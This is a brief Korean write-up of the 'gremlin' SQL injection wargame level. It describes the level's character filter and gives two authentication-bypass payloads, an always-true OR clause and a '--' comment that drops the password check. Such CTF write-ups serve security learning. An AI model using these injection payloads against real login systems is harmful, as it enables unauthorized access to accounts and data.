gremlin

gremlin 문제

문제 풀이 

1. 필터링 확인 

_ , \. , ()을 사용하는 경우 No Hack 페이지로 넘어간다.

 

2. 페이로드 구문

select id from prob_gremlin where id='admin' and pw='123'or '1=1'  구문을 pw 부분을 참으로 만들어 준다.

 

다른 방법의 페이로드

select id from prob_gremlin where id='admin' or '1=1--' and pw ='' 구문은 --으로 pw 부분을 주석 처리해 준다.